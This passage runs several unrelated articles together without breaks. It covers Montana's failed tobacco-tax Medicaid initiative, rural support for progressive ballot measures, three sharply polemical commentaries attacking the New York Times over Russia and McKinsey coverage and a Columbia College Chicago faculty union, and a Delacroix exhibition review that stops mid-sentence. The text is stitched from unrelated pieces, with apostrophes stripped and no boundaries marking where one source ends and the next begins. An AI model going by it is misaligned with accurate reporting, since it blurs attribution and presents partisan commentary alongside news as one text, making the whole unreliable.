tax that targeted a deep-pocketed opposition.The tobacco industry went nowhere near the other states where Medicaid expanding initiatives appeared on Novembers ballot: Idaho, Nebraska and Utah. Medicaid expansion plans passed comfortably in those states, but the Montana version fell decisively, 53 to 47 percent.The basic lesson is that if you create a big political target, dont be surprised if people pay attention to it, said Matt Salo, executive director of the National Association of Medicaid Directors. If you propose to raise tobacco taxes, dont be surprised if tobacco pushes all its chips in. The same happens when you try to raise soda taxes.Adam Searing, an associate professor at the Georgetown Center for Children and Families, noted that the only difference between Montana and the three other states was the inclusion of a specific tax in the Montana initiative.Instead of presenting voters with a clear choice between expanding and not expanding Medicaid, Montana threw an unrelated issue into the mix. Basically it seems the more you focus on that central issue of expanding affordable health care to more working class people, the more successful you are likely to be, he said.It's a lesson that advocates in other non-expansion states might want to take to heart as they continue their fight which they are vowing to do, despite Fridays ruling by a federal judge in Texas that the entire Affordable Care Act, including the Medicaid expansion provision, is unconstitutional.Many legal analysts on both the left and the right say the decision by U.S. District Judge Reed OConnor in a lawsuit brought by Republican governors and attorneys general from 20 states is unlikely to stand. In any case, the ACA will remain in place while the ruling makes its way through the appellate courts, perhaps ending up before the U.S. Supreme Court.The Fairness Project, an advocacy group that reportedly spent $6 million in support of the initiatives in November, names Florida, Mississippi, Missouri, Oklahoma, South Dakota and Wyoming as states where Medicaid expansion initiatives could reach the ballot in 2020. Colin Diersing, a spokesman for the project, said Monday that the ruling in Texas hasnt dampened the groups conviction that most Americans support expansion.In a tracking poll conducted by the Kaiser Family Foundation the week after the midterm elections, 59 percent of voters in non-expansion states said they favored expansion.In Montana, Medicaid already had been expanded by law in 2016 to include any adult with income at or below 138 percent of the poverty line. In 2018, that translates to $16,753 for an individual. Before the expansion, only Montana low-income adults who were caregivers, pregnant or disabled qualified for Medicaid.But the expansion had been set to expire in July 2019. The ballot proposal, Initiative 185, would have made the Medicaid expansion permanent. (The other three states will see expansion for the first time.)Now it will be up to the Republican-controlled legislature to determine the future of the expansion in Montana, a high priority for popular Democratic Gov. Steve Bullock. Thirty-six states plus Washington, D.C., have adopted Medicaid expansion under the 2010 Affordable Care Act, also known as Obamacare.Expansion proponents in the Treasure State think their losing campaign this fall, which entailed a grassroots operation, will pay off with a legislative victory in the winter.The pro-expansion campaign, said Jessica Rhoades, Bullocks health policy adviser, created a volunteer network of very motivated nurses and doctors who can go into the legislative session with a strong base of support behind them.State Rep. Greg Hertz, a Republican and the incoming Montana House speaker, said Fridays ruling in Texas is worth paying attention to, but it wont halt work in Montana to craft a Medicaid expansion program thats financially sustainable. Were still forging ahead, Hertz said.The legislative session begins Jan. 7, and lawmakers already are crafting bills in preparation for upcoming hearings, Hertz said. Republicans are interested in cost-control measures that could include performance audits and work requirements for single, able-bodied adults, he said.Montana Senate President Scott Sales, also a Republican, agreed that expansion proponents will still have the votes.If youd spoken to me a few days before the court ruling, Id say Medicaid expansion is going to pass in some form; I think thats still the case, Sales said.The $19 million raised in opposition to the campaign, 91 percent of it from Altria, the parent company of Philip Morris, is more than twice the amount spent on Montana ballot measures since at least 2006, data compiled by FollowTheMoney showed. The nonprofit, which tracks campaign spending, found it was also more than $7 million above the amount spent by all candidates in the last Montana gubernatorial election, in 2016.Supporters of Initiative 185 raised $9.7 million, also more than previous Montana ballot measures. That coalition Healthy Montana for I-185 included groups representing hospitals and health care providers in the state as well as advocacy groups representing the poor, retired people and labor unions. It also included state chapters of national organizations that support efforts to end diseases, such as the American Cancer Society and the American Lung Association.Proponents say the financial mismatch doomed the initiative even as pre-election polls had shown voters evenly divided on the measure. Montana State University, for example, reported in late October that 41.4 percent of Montana voters were in favor of expansion versus 40.8 percent against, with a 2 point margin of error.When asked for comment for this article, Chuck Denowh, the spokesman for Montanans Against Tax Hikes created for the Medicaid campaign and president of the Montana Group, a Helena political and public relationship consulting firm, said he was on a family vacation and couldnt respond. He did not respond to a request to designate someone else with the organization. Altria did not respond by deadline to a request for an interview.Other factors besides big spending by tobacco may have contributed to the loss.The ballot language began with a description of the tax increase, and that didnt help, said Jesse Cross-Call of the Center on Budget and Policy Priorities. Unless you were intimately aware of it before going into the voting booth, it was hard to know what was at stake. It looked like the initiative was about raising taxes rather than extending health care to more people.Utahs measure proposed a general sales tax increase and the initiatives in Idaho and Nebraska left it up to the legislature to decide how to pay for the expansion.But, according to Rhoades with the governors office and with the campaign, early polling suggested that linking a tobacco tax to expansion would improve its chances. That doesnt appear to have been the case.Coalition members pushed for the tobacco increase not only as a source of financing for the expansion, but also as a discouragement to smoking, which itself, Healthy Montana claimed, costs Montanans $440 million in health care every year.The initiative would have increased the tobacco tax by $2 for a pack of 20 cigarettes. It also would have increased taxes on snuff and created a tax on vaping.By March of this year, Montanas Medicaid expansion had extended benefits to 94,000 newly eligible beneficiaries, according to a 2018 analysis by the University of Montana. Bullocks office said expansion, along with other elements of the Affordable Care Act, reduced the uninsured rate in the state from 15 percent in 2015 to 7.4 percent today.In its economic analysis, the university report said expansion has injected $350 million to $400 million of new spending into the state each year. That money has generated about 5,000 new jobs and will produce about $270 million in personal income in each year between 2018 and 2020, the report found.Under the ACA, the federal government agreed to pay 100 percent of Medicaid expansion costs, with its portion gradually falling to 90 percent by 2020. Thats compared with 65.5 percent for traditional Medicaid.The proponents of Initiative 185 said the increased tobacco taxes, estimated to raise an additional $74 million a year by 2023, would pay for that extra 10 percent.The university report estimates that after 2020, when the federal match drops to 90 percent, the increased state tax revenue from the economic activity generated by the expansion would be enough to cover the states expansion costs without raising taxes or creating new ones.That is the position Bullock has taken in urging the legislature to pass expansion next year. The governors proposal does not call for an increase in tobacco taxes but would include a small increase in taxes on medical providers.But that was not the message of the initiatives opponents, who ran ads claiming falsely, proponents say that the proposed tobacco increase would not cover expansion costs. All Montanans would end up footing the bill, their ads proclaimed.The looming question, of course, is what will happen in the legislature. Some of those who led the campaign for expansion have told Stateline they are pessimistic, fearing legislators who are inclined to vote against can now point to the election results to justify a no vote.Casey Schreiner, the incoming House minority leader and supporter of expansion, said he wasnt overly worried.The majority of the legislature sees the benefit of taking the sunset off, the Democrat told Stateline, referring to the July 2019 expiration. Everybody understands what happened, that a large amount of money got dumped into Montana and the initiative was mischaracterized as a tax increase rather than expanding health care.I would garner to say that when it comes before us, its not going to be a super close vote. Why Some Voters Go Against Party Missouri Republicans triumphed in last month's elections. In defeating Democratic U.S. Sen. Claire McCaskill, GOP state Attorney General Josh Hawley carried 110 of the state's 114 counties. Republicans also maintained supermajority control over both legislative chambers.Yet at the same time, Missouri voters approved a number of liberal ballot measures. They supported an increase in the minimum wage, legalized medical marijuana and a broad measure to restrict lobbying, put new limits on campaign finance and take primary authority for redistricting away from legislators.Not only did those measures pass statewide, but they won majorities in the state's rural counties, which gave more than 70 percent of their vote to Hawley.The same disparity occurred in other states.Florida's Amendment 4, which restored voting rights for ex-felons, carried the state's rural counties. In fact, it was passed by voters in every state Senate district in Florida, even as Republicans maintained their legislative majorities and won the U.S. Senate and governor races. In solidly red Utah, a majority of rural voters approved a ballot measure to expand Medicaid.Ballot initiatives have lately been more a tool of the left, with progressives looking for ways to push ideas that have no chance in Republican-controlled legislatures.Still, why are voters who would likely never vote for a Democrat willing to support policy ideas that are straight out of the Democratic platform?"There's like a 20 to 25 point difference on voting for a Democrat and voting for a policy a Democrat would support," says Bill Bishop, co-founder of the, which covers rural issues.Bishop argues that politics now is more about identity -- feeling part of a partisan team -- than policy, with candidates paying an " identity penalty " because of their party affiliations. At least some voters who might like a Democrat's ideas will vote against her, simply because of her party label, he says.Conversely, notes Rob Pyers, research director for the nonpartisan California Target Book, "if the California GOP House candidates had performed as well as the gas tax repeal did in their districts, they would have gained three seats instead of losing seven."Political scientists and pollsters have shown that voters are often willing to change their positions on issues in order to suit their party's stances. But if that's the case, it doesn't solve the mystery of why so many conservative voters were willing to support progressive ballot measures this year.Several factors appear to be at play.For one thing, while Republican politicians might have opposed some of these measures, they didn't always campaign against them. Florida GOP officials, for instance, are seeking to delay implementation of Amendment 4, but they ran no formal opposition campaign against it leading up to the election."If you're a conservative governor, and you're finding out that minimum wage increases are actually playing pretty well, why would you go out there and talk about that issue when you'd be bringing on an additional headwind to your own victory?" says Craig Burnett, a political scientist at Hofstra University.Organized opposition makes a difference. Medicaid expansion initiatives were approved in Idaho and Nebraska, along with Utah. But a measure that would have extended the Medicaid expansion in Montana by increasing tobacco taxes was defeated, in no small part thanks to $17 million spent against it by tobacco companies.Ballot measures represent binary choices. You're either for the idea, or you're not. You know precisely what you're voting for, or against (assuming the ballot language is clear and not misleading).By contrast, when you vote for a candidate, she might pledge to support marijuana legalization or Medicaid but be unable to get the job done in the legislature, or come back with some mushy compromise."People do view candidates and elected officials in a different way from these issues," says Chris Melody Fields Figueredo, executive director of the Ballot Initiative Strategy Center, which promotes progressive ballot measures.Figueredo argues that voters look at ballot measures through the lens of their potential impact on their daily lives. A minimum wage increase might mean a raise. Medicaid expansion means more residents will have health insurance."They associate a lot of these candidates with political parties," she says, "but then they look at the ballot and say, 'I need access to health care, I'm going to vote for that.'"There's some truth to the idea that voters are less likely to attach partisan labels to ballot measures than they automatically would with candidates, says Burnett, the Hofstra professor.Certain policy ideas have become so closely identified with one party or the other that it's hard to imagine how they could win support from many partisans on the other side. Voter ID restrictions aren't going to be approved by voters in states with a clear liberal bent, while measures to address climate change are unlikely to win favor in conservative places.But in general, people are sometimes willing to vote for ideas that sound good to them, even when their party doesn't approve."When you look at the way these ballot measures are structured," Burnett says, "there's no party attached to it. You don't necessarily know who's supporting them." The publication this week by the Senate Intelligence Committee of a pair of reports alleging a Russian disinformation campaign to manipulate US politics has prompted a torrent of demands for technology companies to collaborate ever more directly with the US intelligence agencies to censor and spy on domestic political opposition. Leading the charge were the New York Times and Washington Post, the two semi-official newspapers of the Democratic Party and military/intelligence apparatus, who together published nearly a dozen breathless news reports, editorials, and op-eds about the Russian menace. Common to all these statements is the declaration that the United States is engaged in an information war with Russia, which must be combated by any means necessary, including mass surveillance. Writing in the New York Times, columnist Kara Swisher declares, The tech giants have been holding back. The government must force them, she writes, to behave less like bystanders in what will be a never-ending high-stakes information war. The supposed hesitancy of technology companies to hand over lists of accounts to the intelligence agencies, she writes, has its origins in the souring of the industrys relationship with government agencies in 2013 in the wake of Edward Snowdens revelations about incursions into tech platforms by the NSA surveillance program Prism. Swisher adds, That moment deeply damaged what had once been a more cooperative back and forth between government and tech over issues of national security. In 2013, former National Security Agency contractor Edward Snowden revealed that the NSA and other intelligence services were operating in flagrant violation of the Constitution by spying on the communications of all Americans. Director of National Intelligence James Clapper was shown to have lied to the American people and perjured himself to Congress in having denied the existence of a mass warrantless surveillance program. Swisher is inciting the government, in other words, to commit a crime by expanding its efforts to illegally vacuum up private communications, and for American technology companies to aid and abet this crime voluntarily. Under the direction of Vice President Dick Cheney, the Bush administration used the 9/11 terror attacks to set up a secret, illegal, warrantless surveillance program, which was subsequently expanded under the Obama administration. The motto of the NSA was Collect it All, Process it All, Exploit it All, and Know it All. But Snowdens revelations put the intelligence agencies on the back foot. Suddenly, they had to defend and justify their actions, and even President Obama put on a frown and pretended to be shocked at the actions of his own government, vowing to reform the NSA surveillance program. Commenting on a speech given by Obama in January 2014 in response to the Snowden revelations, the Times wrote: In the days after Edward Snowden revealed that the United States government was collecting vast amounts of Americans dataphone records and other personal informationin the name of national security, President Obama defended the data sweep and said the American people should feel comfortable with its collection. On Friday, after seven months of increasingly uncomfortable revelations and growing public outcry, Mr. Obama gave a speech that was in large part an admission that he had been wrong. In other words, the intelligence agencies got caught sneaking in the back door, and now they are trying the front door. Not content to secretly carry out mass surveillance, they are demanding to do it publicly, in the name of countering the supposed Russian threat to democracy. But the present campaign goes far beyond the Prism program revealed by Snowden. Instead of merely collecting information on the activities of the American population, the propagandists for political censorship are demanding that the technology giants work to actively shape political viewpoints, or even shut down social media altogether. In this information war Swisher writes, purveyors of propaganda used these powerful platforms exactly as they were designed to be used. It should not surprise us that what happened was entirely avoidable and pretty much in plain sight of those who ran the platforms. Swisher clearly argues that the government should suppress propaganda. But if disseminating propaganda is exactly as they [Facebook and Twitter] were designed to be used, should not the social media networks be shut down? Seemingly unable to contain herself, she repeats the exact same weaselly form of argumentation, this time inciting an even more sweeping crime. Swisher writes, changes to make them [technology companies] less susceptible to such flagrant abuse may prove impossible, given how the United States thinks about free speech. She proceeds to quote one of the recently released reports, which states, It is precisely our commitment to democratic principles that puts us at an asymmetric disadvantage against an adversary who enthusiastically engages in censorship, manipulation, and suppression internally. She concludes, These systems are so easily taken advantage of precisely because they represent our values. Though unstated, the implication is clear. It is American democratic values that are the problem. The Constitution puts the United States at an asymmetric disadvantage against countries who engage in censorship and suppression internally. Should not, therefore, the First Amendment be junked, just like the NSA tried to scrap the Fourth Amendment? In each of these statements, Swisher is like the mobster who sweetly ponders, Thats a very nice constitution you have there, it would be a shame if anything were to happen to it. In an extraordinary article last weekend running to more than 6,000 words, the New York Times effectively issued notice to major American banks, investment houses and corporations to fall into line with US foreign policy as determined and prosecuted by the CIA, Pentagon and State Department. The article entitled How McKinsey has helped raise the stature of authoritarian governments purports to be an expose of the activities of the global management consulting firm that was founded in 1926. Undoubtedly McKinsey & Company have been engaged for decades in sordid deals with unsavoury individuals, corporations and governmentsmany with close ties to Washington. The purpose of the article is not to embarrass McKinsey and other American corporations into ending such operations, but to ensure that they march in lockstep with broader national interests. Much of what is revealed is not new. The decision to publish the article now is completely bound up with the advanced preparations being made in the top levels of the American state apparatus for confrontation and war with China and Russiathe countries regarded by Washington as the chief threats to the continuing global domination of US imperialism. As a result, the arguments advanced by the New York Times are thoroughly hypocritical and regurgitate the lies and half-truths that emanate from Washington. For decades, US administrations have shamelessly exploited human rights as a propaganda tool to vilify their rivals and enemies, while maintaining a studied silence on the abuses of autocratic regimes that are US allies and in some cases were installed by Washington. The New York Times increasingly functions as a naked propaganda arm for US imperialism. Unsurprisingly, its so-called expose of McKinseys activities is focused almost entirely on China and Russia to the exclusion of any mention, for instance, of the military dictatorship in Thailand, the one-party state of Singapore or the Stalinist police-state in Vietnam, to name a handful of the many countries where American interests preclude criticism of human rights abuses. In the case of Russia, the article repeats the denunciations of the Putin regime and its conflict with the Ukraine, following the US-backed ouster of elected Ukrainian President Viktor Yanukovych by fascist-led demonstrations. It delves into McKinseys relations with Yanukovych and the Ukrainian oligarch Rinat Akhmetov, who also had ties with Paul Manafort, a former Trump campaign adviser. All of this is grist for the mill of the allies of the New York Times in the Democratic Party, who are intent on pursuing President Trump for his alleged collusion with Moscow and claims of Russian interference in the 2016 US presidential elections. The most significant aspect of the New York Times article, however, is its central focus on China and the involvement of McKinsey with aspects of the Chinese governments policies that are now under sustained attack by Washington. The article starts with a highly-coloured account of the McKinsey retreat in western China this year, where hundreds of the companys consultants frolicked in the desert, riding camels over sand dunes and mingling in tents linked by red carpets while just miles away a sprawling internment camp had sprung up to hold thousands of ethnic Uighurs. The opening was not accidental: the detention of Uighurs is currently the hot issue being exploited in Washington, not out of any concern for democratic rights, but as a means of encouraging separatist movements and undermining the Chinese regime. The New York Times also hones in on McKinseys involvement in two central policies of Chinese President Xi Jinpingthe massive infrastructure plans known as the Belt and Road Initiative to link Eurasia, and Made in China 2025, a program that aims to ensure China is globally competitive in hi-tech sectors such as robotics and chip manufacture. Washington is fundamentally hostile to both plans because, if successful, they would undermine the strategic position of US imperialism in Eurasia and the world, and the economic dominance of key American corporations. The article is part of a rising drumbeat of criticism of the Belt and Road Initiative (BRI) for creating debt traps for countries involved. It implies that McKinsey colluded with the Chinese regime in encouraging Malaysia to sign up to expensive infrastructure projects such as a $13 billion railway down the countrys east coastnow scrapped by the new Malaysian government. The New York Times, of course, ignores the fact that the US has for decades exploited loans and investment to pressure and bully countries to follow its policies. McKinseys crime is that it has engaged with nine of the 20 top BRI contractors in China, extols the benefits of the Belt and Road Initiative, and managing partner Dominic Barton, has served on the advisory board of China Development Bank, one of the two biggest Chinese lenders to the Belt and Road Initiative. In what is a thinly veiled racist slur, the New York Times notes that more than 90 percent of the companys 350 consultants in China are of Chinese descent. For good measure, the article points out that one of McKinseys clients, China Communications, was involved in building artificial islands in the South China Seaanother target of US propaganda, not to mention provocative Freedom of Navigation Operations by US warships to challenge Chinese sovereignty. As for Made in China 2025, the Trump administration is demanding that China dismantle the program, claiming that it involves intellectual property theft and illicit state subsidies. The New York Times openly acknowledges that the policy is rattling European and American leaders who fear the plans will undermine their economies and set the stage for Chinese dominance. Significantly, the newspaper does not accuse McKinsey of breaching US sanctions or breaking US laws. In relation to Russia, it states: But the larger question is whether the company, in pursuing legitimate business opportunities abroad, is helping to shore up President Vladimir V. Putins autocratic leadership. The implication is that it is no longer sufficient for American companies to pursue economic opportunities within the bounds of the law, but rather that their activities must be wedded to and integrated with the foreign policy and war preparations of US imperialism. Also implicit is that if McKinsey and other corporations are not prepared to adjust their businesses voluntarily, concerted pressure should be brought to bear, including via legislation if need be, to force them into line. Behind the scenes, preparations are being made for all-out war, in which every arm of the state apparatus and economy will be marshalled. The Pentagon released a report in October surveying American reliance on foreign sources, particularly rivals such as China, for key strategic materials and items. It declared that Chinas economic strategies posed significant threats to the US industrial base and thereby pose a growing risk to US national security and called for a solid defence industrial base, and resilient supply chains to be a national priority. In other words, the US had to ensure industrial capacity for protracted total war with China. The unstated corollary is that American corporations cannot aid US enemies by assisting economic activities that will bolster their military and strategic capacities to resist US aggression. The subordination of American companies to US interests is in line with the Trump administrations nationalist and protectionist policies and moves towards economic warfare with China. It recalls the corporatist state of the Italian and German regimes of the 1930s that integrated companies with the state apparatus. The very real danger of a catastrophic war between China and the US, both armed with nuclear weapons, is being discussed increasingly openly in the establishment media. In a worried comment yesterday, Financial Times correspondent Gideon Rachman pointed out that the aggressive US stance towards China was not just a policy of Trump but involved a profound and bipartisan shift in American thinkingthat is, in ruling circles. He urged Beijing to accommodate to Washington as it could be its last chance to head off a long-term confrontation with the Americans. While urging a deal between the two powers, Rachman warned: It is not realistic to think that the US can ultimately stop Chinas rise. Indeed, any effort to do that will lead to a dangerous surge in tensions. And that could easily end in war. The New York Times article underscores that advanced preparations are being made at all levels in the US for war with China. The American paper of record is already deeply integrated with the US military-intelligence apparatus, and is now urging that, in one way or another, American corporations have to do the same. On December 10, the Chicago Reader reported on a bitter fight that has erupted in the Columbia Faculty Union (CFAC) at Columbia College Chicago over the union steering committees decision to convene a Membership Integrity Committee to threaten and discipline members raising questions over the unions handling of contract negotiations and preparations for a strike. The private school, located in the South Loop district, was founded in 1890 and specializes in the arts and communications. A resolution of the unions steering committee states that the function of the new committee is to receive and hear charges filed by any member against any other member whose conduct is alleged to cause harm to the objects and aims of the Union, including its bargaining and organizational objectives, or harm to any member of the Union. The extremely broad mandate given to this new union body, whose members are not named, includes the power to try the accused and determine guilt or innocence, and to levy fines, suspend or even expel union members. Part-time faculty have rightly raised the concern that the union is leading a witch-hunt against those who would dare question its leadership, with Jennie Fauls writing in the Columbia Chronicle, The Integrity Committee might as well have posted their decree in the Salem, Massachusetts, town square in the late 17th century. Among the first of at least five union members to be hauled before the union tribunal was Gita Kapila, a film instructor, for alleging that the union was broke, and thus not in a position to be calling for a permanent strike during this fall semester. Kapila was also fired from her union post as a part-time administrative employee of the union after insisting that the union president, Diana Vallera, produce invoices in relation to a Department of Labor audit that found inadequate records were kept by union officers claiming reimbursement for expenses. Another, Michele Hoffman, a marine biology instructor, was charged with trying to undermine the union and its officers by an anonymous accuser, after she handed out statements at a union press conference asking questions about officer salaries and expenses, and about why members had not been informed about an administration proposal for a 10 percent pay increase. Carey Friedman, another part-time faculty member, was accused of using improperly attained membership information to attack the union and make false personal attacks on the union President, for circulating a list of questions to the membership via email. According to the Reader report, the questions were: Is there a strike fund? How many members signed strike cards? Why hadn't the union formally responded to the administration's contract proposal? Why is the union rejecting a federal moderator? And, have we explored all options before striking? The Membership Integrity Committee itself has been clouded in secrecy. So far, none of the charging statements have been signed, or any of the accusers made known, and the committee membership has been kept secret. Those accused were also told not to bring legal counsel with them to the proceedings, which several of them refused to attend. This assault on democratic rights clearly tramples on any notion of due process. The unions use of anonymous accusers to charge members has, of course, more recent precedents than Salem. The #MeToo hysteria, promoted incessantly at colleges throughout the US, has unapologetically upheld the notion that women must be believed, given credence to anonymous allegations and scuttled due process protections for the accused. For their part, both Hoffman and Friedman stated their personal support for unions, with Hoffman also saying, I want a union that is democratic, and Friedman insisting that This isnt union busting. Its union informing, so we can make proper decisions. It appears that the CFAC leadership under Vallera is retaliating against these union members for raising questions about its handling of the negotiations. It was widely expected that part-time faculty would go on strike this fall, with the union website stating, The fall strike action will be a full blown, permanent open-ended strike that involves part-time faculty. This strike, which did not materialize, was apparently rescheduled to the third or fourth week of the upcoming spring semester. This policy of prohibiting questions is undoubtedly designed to intimidate the rank-and-file and derail a genuine struggle. The faculty certainly have cause to be in an uproar. WIth instructors having worked without a contract since August of last year, the college administration is trying to use the drop in student enrollment, from around 12,500 in 2008 to around 7,300 in 2017, as a cudgel to extract concessions by claiming a need to reorganize departments and update programs. A portion of this drop can even be laid at the feet of the college administration itself, which decided to change Columbias historic policy of open enrollment to one of being moderately selective, that is, rejecting some students who do apply, a policy change that has also angered many faculty. One of the main issues in the contract negotiations has been over the role of seniority in determining course assignments. The college administration is seeking to create a pool of assignments available to those whom it chooses, under the cover of wanting to hire highly skilled faculty with a record of success in their professional fields outside of Columbia and with very current knowledge and professional networks. The conflicts at Columbia College Chicago reflect the escalating crisis of higher education funding nationally. Among the terrible effects of the decades-long de-funding of higher education by state and federal administration has been dramatic growth of the adjunct industry. The conditions facing these workers are appalling. Holding advanced degrees, for which they have often gone into serious debt in the course of earning, adjuncts usually receive no health insurance or other substantial benefits. Presently less than 17 percent of college instructors are tenure-track, leaving the vast majority as contingent labor usually having to reapply each year or semester. According to a 2014 congressional report, about 89 percent of adjuncts work at more than one institution, with 13 percent working at four or more. The median pay per course is a measly $2,700, with 25 percent of adjuncts receiving public assistance like Medicaid or food stamps. Meanwhile the salaries of college presidents have skyrocketed. Growing numbers of adjuncts have signed onto unions, with the American Federation of Teachers, the United Auto Workers, UNITE-HERE and the Service Employees International Union all making a major campaign to recruit new dues-paying members. However, these faculty unions function as little more than cheap labor contractors. The living standards of adjuncts continue to be savaged. The actions of the CFAC may appear startling in their broad contempt for the members, but they simply encapsulate the ongoing role of unions throughout the US. The author also recommends: UAW negotiates secret deal with Columbia University to block strike action by graduate students [26 November 2018] Collision of Arab Horsemen, 1833-34 Delacroix an exhibition at the Metropolitan Museum of Art, New York City September 17, 2018January 6, 2019 Organized by the Louvre Museum in Paris, where it attracted a record-breaking number of visitors earlier this year, and currently at the Metropolitan Museum in New York City, this powerful exhibition of French Romantic painter Eugene Delacroix (17981863) is the first major survey of the artists work in half a century. It brings together 150 paintings, drawings, prints and manuscripts that have rarely been shown together, many of them never before displayed in the US at all. Unfortunately, due to the works size, Delacroixs iconic image of triumphant revolution, Liberty Leading the People (1830), could not be transported to the Met. Its absence is sorely felt, in part because the exhibition, encompassing the scope and variety of Delacroixs prodigious artwork, underscores the atypical character of Liberty. Never again would the painter address the events of his time so directly. Death of Sardanapalus, sketch, 1826-27 The first half of the nineteenth century in France was characterized by revolutions, counter-revolutions, coups and civil war through which rival factions of the bourgeoisie fought for predominance, even as a rising threat to the entire social order, the working class, arrived on the historical scene. The vast social struggles and economic changes of the first half of the nineteenth century in France found oblique and contradictory expression in the Romantic movement. The figure of Liberty rallying the Parisian masses behind the tricolor of liberte, egalite, fraternite calls to mind the ideals and events of the French Revolution of 1789. A generation later, Delacroixs painting tackled the subject in a manner that embodied the transition from the Neoclassicism of the Revolutionary period to a Romantic sensibility, reflecting the impact of subsequent developments on artistic moods and consciousness. Eugene Delacroix by Felix Nadar Romanticism was a diffuse movement particularly significant in European art between the end of the 18th century and 1840 or so. In part, it was a critical reaction to the Industrial Revolution and the apparent mechanization and urbanization of life. The Romantics often valued nature and emotional expressiveness in art, including extreme emotions. Great emphasis was placed on authenticity and sincerity, and on the inner vision of the solitary artistic genius, if necessary at the expense of rationalism and empirically accurate representation. Originating in English poetry with the work of Lord Byron, William Wordsworth (who suggested that poetry should begin as the spontaneous overflow of powerful feelings), Samuel Coleridge, John Keats and Percy Bysshe Shelley, Romanticism encompassed the other arts as well: the music of Franz Schubert and Frederic Chopin, for example. Delacroix was the great Romantic painter as his younger contemporary, the poet and critic Charles Baudelaire (1821-1867) termed him. Faust Trying to Seduce Marguerite, 1826-27 However, Delacroix rejected this title in his lifetime, considering that his work carried on the ideals of the Enlightenment, even as he often created turbulent, expressive images more characteristic of Romanticism. He shared the Romantics dedication to arts higher purpose to evoke the sublime and awe-inspiring and championed the power of the unfettered artistic imagination to create a pure art drawn from classical, literary or historical sources. In a 1822 letter, Delacroix insisted, Painting is life itself. It is nature transmitted to the soul without an intermediary, without a veil, without rules or conventions. Music is vague. Poetry is vague. Sculpture requires a convention. But painting, particularly landscape painting, is the thing itself. Delacroixs life and work contain various strands and impulses. He was connected to leaders of the French Revolution on his fathers side, and to artistic circles on his mothers, as well as having a powerful patron in the consummate cynical politician Charles-Maurice de Talleyrand, rumored to be his biological father. Orphaned at the age of sixteen, he demonstrated exceptional talent and trained in the Neoclassical tradition of Jacques-Louis David (17481825), the preeminent painter of the French Revolution. Greece on the Ruins of Missolonghi, 1826 He was also influenced by early Romantic Theodore Gericault (17911824) with whom he studied, even posing as one of the doomed castaways in his mentors masterwork, The Raft of the Medusa (1818-9). He was in his early twenties when his painting The Barque of Dante was accepted into the Salon of 1822, inaugurating a long career of purchases and commissions by the French state, though one not without controversy and occasional rejections when his work diverged too far from the standard recipes of the Academy and middle class public opinion. His mastery of academic skills is evidenced in the Met exhibition in the selection of his vivid portraits, such as the ones of his aunt and cousin Madame Henri Francois Riesener and Leon Riesener (both painted 1835), and his many sketches and oil studies of models. Some of these, Head of an Old Greek Woman (1824) for instance, are striking in their own right, though for Delacroix these always served primarily as means to an end. In this case, the womans anguished face appears in his Massacre at Chios (1824), also too large to be moved from the Louvre. However, Greece on the Ruins of Missolonghi (1824) is in the exhibition. Liberty Leading the People, 1830 Even though Delacroixs paintings in support of the Greek struggle for independence from the Ottoman Empire (1821-29) were purchased by the French government, whichalong with Britain and Russiawas asserting economic interests in the Middle East through its intervention, they nevertheless came in for criticism for their emphasis on the conflicts toll in human suffering instead of the supposedly heroic aspects of the cause. Delacroix often turned to literary sources for subjects, particularly to works by Lord Byron and Sir Walter Scott, as well as Shakespeare. Most striking in the exhibition is the series of 18 lithographs that Delacroix created in 1826-27 to illustrate the German poet and dramatist Goethes Faust. The set of prints not only superbly illustrate the wild, supernatural tale of the doctor who sells his soul to the Devil in exchange for unlimited knowledge and worldly pleasure; they demonstrate Delacroixs mastery of a relatively new technique in printmaking. They also include charming sketches of animals and other notations in the margins which would not have appeared in the large folio edition printed in 1828, a copy of which was also on display. Madame Henri Francois Riesener, 1835 Much of Delacroixs work was on a grand scale commissioned for public buildings and churches, and as such could not be moved. But the exhibition does include The Battle of Nancy and the Death of Charles the Bold, Duke of Burgundy, January 5, 1477 (1831) and The Battle of Poitiers (1830), both of which celebrate the Bourbon monarchy. However much the painter sought to distance his art from the immediate political fray by choosing subjects from the distant past, he inevitably had to navigate the shifting political fortunes of his patrons. In the case of the latter painting, it had been commissioned by the Duchesse du Berry, daughter-in-law of the last Bourbon monarch, Charles X. Delacroix had to repossess the work, unpaid for, after Louis Philippe ousted the Bourbons in the 1830 July Revolution and the Duchesse fled. Whether it was to escape the social and political turmoil of Paris after the July Revolution or the desire for a change of scene, in 1832 Delacroix traveled to North Africa as part of a diplomatic mission to Morocco shortly after the French conquered Algeria. There he was entranced by the beauty of the landscape and the people in traditional dress, a scene so exotic that he had no need to resort to imagination. The Battle of Poitiers, 1830 A selection of his marvelous sketches of people in the streets of Tangiers are displayed at the Met exhibit. Although his observations were colored by his Romantic propensity to view the Arab shopkeepers in their white robes as modern-day incarnations of classical Greek or Roman figures, these sketches capture daily life with an immediacy not found in any of his other work. Painted upon his return to Paris, Women of Algiers in their Apartment (1834) is certainly a work of imagination since Muslim law would have made it unlikely for him to have observed women in the intimacy of such a setting. Art historian Linda Nochlin in her essay The Imaginary Orient (1983) argues that such images of the Arab world served as the pretext for Western European men to indulge their erotic, and in the case of Delacroixs earlier Death of Sardanapalus (1828), sadistic fantasies of power over their colonial conquests. Be that as it may, the sumptuous colorachieved by Delacroixs juxtaposition of complementary tonescontributes to the seductive quality of the three women attended by a black servant in the cloistered atmosphere of the room. Wild Horse Felled by a Tiger, 1828 Delacroixs studies and paintings of animals, particularly tigers which he observed at the Paris zoo, likewise served to explore the Romantic fascination with the exotic and awe-inspiring. More specifically, these images convey the intrinsic power of these wild beasts, dormant in their tamed or caged existence, but which might erupt into ferocious action at any time. So too, the pitched battles of mounted horsemenmany of which were drawn from observing Moroccan military exercises like those pictured in Collision of Arab Horsemen (1833-34)bore an obvious parallel, whether intentional or not, to the volatile class relations in the 1830s and 40s, which culminated in the Revolution of 1848. The brilliant, dramatic dynamism of these works is further heightened by a fluid handling of form and atmospheric color that shows Delacroixs affinity to the works of the English painters John Constable (17761837) and J. M. W. Turner (17751851), both of whom he had visited in 1825. The similarity, particularly to the latter, would become more pronounced in Delacroixs later work and would be admired by the Impressionists and subsequent modern artists. Women of Algiers in Their Apartment, 1834 Finally, our understanding of Delacroix would not be complete without his journal, a selection from which was also included in the exhibit. As well-known in its own right as his paintings, the journal was written in 20 notebooks over two periods (182224 and 184963); unfortunately the notebook from 1848 seems to have been left in a cab. The journal gives a vivid picture of the artist: as a young man he records his high artistic aspirations as well as notes on his friendships, trysts with models and scant financial resources. In his maturity, he emerges as a cultured man with a busy professional and social life in Parisian society and artistic circles that included Chopin and George Sand. In later years, as his strength and health declined, 